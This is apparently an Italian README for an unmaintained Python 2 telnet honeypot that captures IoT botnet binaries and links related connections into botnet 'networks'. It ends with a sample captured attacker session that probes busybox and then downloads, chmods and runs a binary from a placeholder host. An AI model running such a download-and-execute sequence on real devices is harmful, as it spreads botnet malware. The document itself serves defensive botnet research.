
Honeypot telnet in Python per la cattura di binari di botnet
Questo progetto non è più supportato né in fase di sviluppo. Si basa su python2, che ha raggiunto la fine del suo ciclo di vita nel 2020, e utilizza dipendenze che diventano sempre più difficili da installare nel tempo. Utilizzare a proprio rischio!
'Honeypot telnet Python per catturare binari di botnet'
Questo progetto implementa un server telnet python che tenta di agire come honeypot per malware IoT che si diffonde attraverso password predefinite terribilmente insicure sui server telnet su internet.
L'honeypot funziona emulando un ambiente shell, proprio come cowrie (https://github.com/micheloosterhof/cowrie). L'obiettivo di questo progetto è principalmente analizzare automaticamente le connessioni delle botnet e "mappare" le botnet collegando diverse connessioni e persino reti tra loro.
L'applicazione ha un'architettura client/server, con un client (l'effettivo honeypot) che accetta connessioni telnet e un server che riceve informazioni sulle connessioni e effettua l'analisi.
Il server backend espone un'interfaccia HTTP che viene utilizzata per accedere al frontend, nonché dai client per inviare nuove informazioni sulle connessioni al backend.
Il backend utilizza 2 meccanismi diversi per collegare automaticamente le connessioni:
Le reti sono botnet scoperte. Una rete è l'insieme di tutte le connessioni, URL e campioni collegati. URL e campioni sono collegati quando vengono utilizzati in una connessione. Due connessioni sono collegate quando entrambe le connessioni sono ricevute dallo stesso client honeypot (sono supportati più client!) e utilizzano le stesse credenziali in un breve periodo di tempo (default 2 minuti) o provengono dallo stesso indirizzo IP.
Più reti vengono identificate come utilizzanti lo stesso tipo di malware se il testo inserito durante le sessioni delle reti è per lo più lo stesso. Questo confronto viene effettuato utilizzando una sorta di funzione "hash" che traduce fondamentalmente una sessione (o connessione) in una sequenza di parole e quindi associa ogni parola a un singolo byte, in modo che questa sequenza risultante di byte possa essere facilmente cercata.
L'applicazione ha un file di configurazione chiamato config.py. Sono inclusi esempi per distribuzioni locali e client/server.
Il backend richiede un database SQL (sqlite di default) che viene inizializzato al primo avvio. Prima del primo avvio è necessario generare un account amministratore che viene utilizzato per generare ulteriori utenti. L'account amministratore può anche essere utilizzato direttamente da un client per inviare connessioni. Quando più di un honeypot deve essere connesso, si consiglia di creare più utenti.
bash create_config.sh
Sia il client che il backend leggeranno i file config.yaml e config.dist.yaml
per leggere i parametri di configurazione. Il file config.dist.yaml include
valori predefiniti per tutti i parametri tranne le credenziali dell'utente amministratore, e questi parametri
vengono sovrascritti dalle voci nel file config.yaml.
python backend.py
Questo progetto contiene un honeypot dedicato, tuttavia, grazie all'architettura client-server, è possibile utilizzare anche altri honeypot.
python honeypot.py
Il client non può essere avviato senza che il server sia in esecuzione. Per utilizzare una configurazione diversa
per il client, è possibile utilizzare l'opzione -c in questo modo:
python honeypot.py -c myconfig.yaml
Se si desidera solo verificare la funzionalità dell'honeypot, è possibile avviare il client in modalità interattiva:
python honeypot shell
Ho scritto un plugin di output per cowrie, che ha molte più funzionalità rispetto all'honeypot integrato. Se si desidera utilizzare cowrie invece, consultare il mio fork che include il modulo di output qui: https://github.com/Phype/cowrie .
Dopo aver avviato il server, aprire http://127.0.0.1/ nel proprio browser preferito.
enable
shell
sh
cat /proc/mounts; /bin/busybox PEGOK
cd /tmp; (cat .s || cp /bin/echo .s); /bin/busybox PEGOK
nc; wget; /bin/busybox PEGOK
(dd bs=52 count=1 if=.s || cat .s)
/bin/busybox PEGOK
rm .s; wget http://example.com:4636/.i; chmod +x .i; ./.i; exit


